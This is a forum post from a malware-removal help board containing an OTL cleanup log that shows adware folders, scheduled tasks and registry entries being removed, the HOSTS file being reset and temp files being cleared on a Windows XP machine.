Registry value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\\Discount Dragon-repairJob deleted successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon\repair.js moved successfully.
Registry value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\\Del19451687 deleted successfully.
File C:\WINDOWS\System32\cmd.exe not found.
Registry value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\\DelTr20005109 deleted successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\{EA34C851-D481-49F5-A356-3A8B0A8F3B7E} folder moved successfully.
C:\Documents and Settings\All Users\Start Menu\Programs\T4PC2 folder moved successfully.
C:\Program Files\t4pc_en_3 folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\t4pc_en_3 folder moved successfully.
C:\Program Files\predm folder moved successfully.
C:\Program Files\Discount Dragon\icons folder moved successfully.
C:\Program Files\Discount Dragon\framework-ui\theme\bubble folder moved successfully.
C:\Program Files\Discount Dragon\framework-ui\theme folder moved successfully.
C:\Program Files\Discount Dragon\framework-ui folder moved successfully.
C:\Program Files\Discount Dragon\framework folder moved successfully.
C:\Program Files\Discount Dragon\CanvasFramework folder moved successfully.
C:\Program Files\Discount Dragon\assets folder moved successfully.
C:\Program Files\Discount Dragon\AppFramework folder moved successfully.
Folder move failed. C:\Program Files\Discount Dragon scheduled to be moved on reboot.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon\firefox\icons folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon\firefox\framework-ui folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon\firefox\framework folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon\firefox\CanvasFramework folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon\firefox\assets folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon\firefox\AppFramework folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon\firefox folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Discount Dragon folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\1H1Q\Acrobat Reader Packages folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\1H1Q folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Speedial\UpdateProc folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Speedial\icons_2.20.15.0 folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Speedial folder moved successfully.
C:\Program Files\004 folder moved successfully.
C:\Program Files\ScanTack\bin\TEMP folder moved successfully.
C:\Program Files\ScanTack\bin\plugins folder moved successfully.
Folder move failed. C:\Program Files\ScanTack\bin scheduled to be moved on reboot.
Folder move failed. C:\Program Files\ScanTack scheduled to be moved on reboot.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\mysearchdial\UpdateProc folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\mysearchdial\icons_2.20.9.2 folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\mysearchdial folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\com\NewPlayer.exe_Url_wmgtxqntq5fklrr4bpxvxljadclrhvq0\2.1.1.7 folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\com\NewPlayer.exe_Url_wmgtxqntq5fklrr4bpxvxljadclrhvq0 folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\com folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\newplayer\Snap folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\newplayer\Playlists folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\newplayer\config folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\newplayer folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\My Documents\Optimizer Pro folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Start Menu\Programs\VOPackage folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Application Data\VOPackage folder moved successfully.
C:\Program Files\fst_ca_94 folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\SearchProtect\SearchProtect\STG folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\SearchProtect\SearchProtect\rep folder moved successfully.
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\SearchProtect\SearchProtect folder moved successfully.
C:\WINDOWS\tasks\bench-sys.job moved successfully.
C:\WINDOWS\tasks\At1.job moved successfully.
C:\WINDOWS\tasks\bench-S-1-5-21-1293464134-3710048992-3381499047-1006.job moved successfully.
========== FILES ==========
File\Folder C:\Program Files\004 not found.
Folder move failed. C:\Program Files\ScanTack\bin scheduled to be moved on reboot.
Folder move failed. C:\Program Files\ScanTack scheduled to be moved on reboot.
File\Folder C:\Program Files\fst_ca_94 not found.
Folder move failed. C:\Program Files\Discount Dragon scheduled to be moved on reboot.
========== COMMANDS ==========
C:\WINDOWS\System32\drivers\etc\Hosts moved successfully.
HOSTS file reset successfully
 
[EMPTYTEMP]
 
User: Alina
->Flash cache emptied: 0 bytes
 
User: Alina.TOSHIBA
->Temp folder emptied: 0 bytes
->FireFox cache emptied: 0 bytes
->Google Chrome cache emptied: 0 bytes
->Flash cache emptied: 0 bytes
 
User: All Users
 
User: Default User
->Temp folder emptied: 0 bytes
 
User: LocalService
->Temp folder emptied: 0 bytes
 
User: Michael
->Temp folder emptied: 0 bytes
 
User: Michael.TOSHIBA
->Temp folder emptied: 94339469 bytes
->Java cache emptied: 0 bytes
->FireFox cache emptied: 0 bytes
->Google Chrome cache emptied: 0 bytes
->Flash cache emptied: 2575 bytes
 
User: MICHAE~1~TOS
 
User: NetworkService
->Temp folder emptied: 1526502 bytes
 
%systemdrive% .tmp files removed: 0 bytes
%systemroot% .tmp files removed: 0 bytes
%systemroot%\System32 .tmp files removed: 0 bytes
%systemroot%\System32\dllcache .tmp files removed: 0 bytes
%systemroot%\System32\drivers .tmp files removed: 0 bytes
Windows Temp folder emptied: 282007 bytes
%systemroot%\system32\config\systemprofile\Local Settings\Temp folder emptied: 0 bytes
%systemroot%\system32\config\systemprofile\Local Settings\Temporary Internet Files folder emptied: 0 bytes
RecycleBin emptied: 0 bytes
 
Total Files Cleaned = 92.00 mb
 
 
OTL by OldTimer - Version 3.2.69.0 log created on 05292014_194144

Files\Folders moved on Reboot...
C:\Program Files\Discount Dragon\FrameworkBHO.dll moved successfully.
C:\Program Files\Discount Dragon folder moved successfully.
C:\Program Files\ScanTack\bin folder moved successfully.
C:\Program Files\ScanTack folder moved successfully.

PendingFileRenameOperations files...

Registry entries deleted on Reboot...


  • 0
Back to Virus, Spyware, Malware Removal · Next Unread Topic →




Similar Topics

0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users

  1. Geeks to Go Community
  2. → Security
  3. → Virus, Spyware, Malware Removal

As Featured On:

Microsoft Yahoo BBC MSN PC Magazine Washington Post HP